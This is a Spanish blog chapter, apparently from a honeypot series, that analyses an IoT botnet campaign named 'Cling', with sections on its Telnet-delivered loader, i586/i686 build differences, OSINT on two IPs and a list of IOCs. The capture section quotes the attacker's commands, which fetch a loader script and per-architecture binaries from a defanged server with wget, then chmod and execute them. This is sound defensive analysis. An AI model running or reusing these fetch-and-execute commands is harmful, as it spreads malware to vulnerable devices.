Cling · Capítulo 18
Nada que fichar
Una IP que ya estaba infectada se conectó por telnet al cebo y pegó de golpe una receta: once binarios, uno por arquitectura, cada uno con un nombre inventado que no se repetirá nunca. Dos pesaban exactamente lo mismo y parecían variantes — resultaron ser las builds i586 e i686 del mismo programa. Y detrás no venía un bicho suelto: medio centenar de binarios distintos en dos semanas. La entrega entera está montada para que ninguna lista de bloqueo, ni por nombre ni por firma, atrape nada.
Cuando cae uno nuevo, los primeros indicios apuntan a lo de siempre: cojo su hash, lo busco en VirusTotal, y media docena de motores lo cantan «Mirai». Y no es un estreno: esta familia —la bauticé Cling, y en el destripe se verá por qué (el bicho, literalmente, firma su obra)— campa por VirusTotal desde hace semanas. El reflejo es archivarlo: otro bot de tumbar servidores. Pero antes de archivar, miré cómo había entrado. Y ahí ya empezó a no cuadrar.
01La captura
No entró probando contraseñas. Entró un aparato que ya estaba infectado: una IP, 85.11.167.132, se conectó por Telnet al cebo, y en lugar de explorar, pegó de golpe una ristra de comandos — la receta que ese nodo del reparto suelta contra el siguiente. Nuestro cebo fue, esta vez, «el siguiente».
Los comandos, tal cual llegaron (agrupados, porque venían a chorro):
# 1) intenta un guion cargador, con wget y con busybox wget por si falta uno
cd /tmp; rm -rf wget.sh
wget hxxp://118.145.196[.]225:800/wget.sh
busybox wget hxxp://118.145.196[.]225:800/wget.sh
sh wget.sh telnet
# 2) y a lo bruto: un binario por arquitectura, cada uno con NOMBRE DISTINTO
cd; rm -rf 5x2b96g7; wget …:800/yy7atflk/5x2b96g7; chmod 777 5x2b96g7; ./5x2b96g7 telnet
cd; rm -rf obn2b6lh; wget …:800/yy7atflk/obn2b6lh; chmod 777 obn2b6lh; ./obn2b6lh telnet
# … y así con: v6kyo484 · kml6vqk1 · sevpqwpf · gr84is20 · 1t960jbq
# c2uytx93 · 6bpx8p17 · yee32jdx · 2sdqu9iu (once en total)Es la misma estrategia de escopeta que ya vimos en Mirai y en KHserver: dispara los once y que arranque el que case con la CPU de la víctima; los otros diez fallan en silencio. Prueba wget y busybox wget —cinturón y tirantes, porque en un router a lo mejor solo hay uno—, y a cada binario lo lanza con un argumento: telnet.
02Once nombres, y ninguno se repite
Fíjate en los nombres de los binarios: 5x2b96g7, obn2b6lh, yee32jdx… ocho caracteres al azar, uno por arquitectura. No son descriptivos —no dicen arm ni mips—, y cambian en cada entrega: cuando el mismo servidor sirvió esta receta unas horas después, los nombres eran otros distintos.
Todos cuelgan de un único sitio, el servidor de reparto:
hxxp://118.145.196[.]225:800/wget.sh # el guion cargador
hxxp://118.145.196[.]225:800/yy7atflk/<nombre> # un binario por arquitecturaY aquí está el primer detalle de diseño: bloquear por nombre de fichero no sirve de nada. Es la misma idea del galimatías aleatorio del capítulo 1 y de los nombres que rotaban en el 3, pero llevada al servidor: cada víctima recibe nombres nuevos, así que dos aparatos infectados nunca comparten el mismo rastro en disco, y ninguna regla que busque «un fichero llamado X» acierta.
Vale, pensé — el nombre da igual, para eso está el hash, que sí es estable. Bajé los tres binarios que mi cebo llegó a guardar y me dispuse a fichar sus hashes.
03Dos ficheros, el mismo programa
De los tres que capturé, dos pesan exactamente lo mismo —53 956 bytes, los dos que file llama «Intel 80386»— y sin embargo tienen hash distinto. Dos ficheros del mismo tamaño y firma diferente huelen a dos versiones, o a una recompilación para estrenar hash. Fui a ver qué había cambiado, byte a byte.
tamaño 53.956 B = 53.956 B # idéntico
bytes que difieren 11.282 # el 21% del fichero — y casi todo, códigoOnce mil bytes. Parece una variante nueva. Pero un compilador es determinista: el mismo fuente con las mismas opciones da los mismos bytes, siempre. Si cambian once mil, cambió algo — y al mirar qué, la respuesta no era «lo recompilaron por recompilar».
6bpx8p17: cmovbe ecx, eax # una instrucción CMOV
c2uytx93: cmp eax, 0x1d + jbe # lo mismo, hecho SIN CMOVEsa instrucción, cmov, solo existe a partir del i686 (Pentium Pro, 1995); el i586 no la tiene, y el compilador la sustituye por un comparar-y-saltar. Así que no son dos recompilaciones del mismo objetivo: son las builds i586 e i686 del mismo programa. Los once mil bytes cambian no porque alguien tocara el código, sino porque están compiladas para dos generaciones de CPU distintas.
Y eso resuelve un cabo suelto de la captura: por qué de «un binario por arquitectura» me quedaron dos «i386». No son dos copias del mismo: son el x86 de 32 bits para i586 y para i686, dos de los once que reparte el cargador. file los llama «80386» a los dos; el juego de instrucciones los delata. Este par, entonces, no prueba ninguna rotación de hash — es un espejismo, y una lección de no leer de más un diff.
04Una oleada, no un bicho suelto
Un apunte antes de abrirlo, porque cambia la escala de lo que estamos mirando: esto no es un binario perdido que pasaba por aquí. Cuando busqué la familia en VirusTotal, no había una muestra ni dos — había más de medio centenar, fechadas entre el 21 de agosto y primeros de septiembre, compiladas para media docena de arquitecturas (armv4l, v5, v6, v7, i586, i686, aarch64…).
Una oleada grande y todavía rodando. Y aquí está la rotación de firma de verdad —no en los dos de antes, sino en la escala—: medio centenar de binarios con hashes distintos en dos semanas. El hash es del contenido, así que no es el mismo renombrado: son builds nuevas, servidas con nombres que cambian cada pocas horas. Ninguna lista de firmas le sigue el ritmo a eso. Nuestro cebo no cazó «un bicho»: cazó un fotograma de una campaña que llevaba dos semanas en marcha. Y todas esas muestras, las cincuenta y pico, comparten algo que será la clave del tercer capítulo — pero para eso primero hay que abrir una.
05El espécimen
Los tres binarios que el cebo llegó a guardar (de los once que se dispararon, solo esos tres cuajaron una descarga distinta). ELF estáticos y stripped.
Cling · bot IoT VirusTotal lo canta Mirai — pero ya veremos
- Tipo
- ELF estático · stripped · aarch64 · i686 · i586
- Tamaño
- 53.956 B (i386) · 62.384 B (aarch64)
- Entrega
- escopeta multiarquitectura por Telnet · nombres rotativos
- Función
- no es lo que parece — se destripa en el Cap. 19
- Etiqueta de vector
- telnet (argumento con que se lanza)
- SHA-256
- 1631e63e… (aarch64) · 1b831a93… (i686) · 52bff4bf… (i586)
06¿De dónde sale todo esto?
OSINT pasivo — bases de datos de terceros, sin tocar ninguna de las dos máquinas. Hay dos IPs en esta captura, y hacen cosas distintas:
| IP | Papel | Quién es (OSINT) |
|---|---|---|
| 85.11.167.132 | el que atacó (nodo infectado) | solo 22/tcp abierto · fichada como maliciosa · AS197170 TechTies (NL), con mantenedor SOFCOMPANY (BG) — rango registrado en junio de 2026, once semanas antes del ataque |
| 118.145.196.225:800 | servidor de reparto | Beijing Volcano Engine (ByteDance, CN) · 10 motores la dan por maliciosa |
07Indicadores (IOCs)
De la infección. Los del bicho por dentro van en el próximo.
| Tipo | Valor |
|---|---|
| IP atacante (nodo infectado) | 85.11.167.132 |
| Servidor de reparto | hxxp://118.145.196[.]225:800/ (wget.sh · /yy7atflk/<nombre>) |
| Patrón del loader | escopeta multiarquitectura por Telnet · nombres de 8 chars aleatorios que rotan · arg telnet |
| Familia en VirusTotal | >50 muestras trojan.mirai con la cadena .cling · 2026-08-21 → 09-01 · armv4l/5l/6l/7l · i586 · i686 · aarch64 |
| SHA-256 (caducan: recompila) | 1631e63ee373601c1f42f2674f996fc6c14dc6aebe45ca5d2395bf347a0e3661 (aarch64) 1b831a9366cd53a4127f885dab247bc2f0b3f661a7d9d9510bbd0a9f150bfb27 (i686) 52bff4bf58eb6031c16763b12b696e849a38f36e69c55402a444819cb9c1bc0e (i586) |
Continuará — y aquí viene lo bueno. Bajé los tres binarios, los abrí esperando el arsenal de DDoS de siempre… y no había ni una sola función de ataque. Lo que había era otra cosa que no había visto entrar por aquí. En el Capítulo 19 lo destripo. 🍯
Comentarios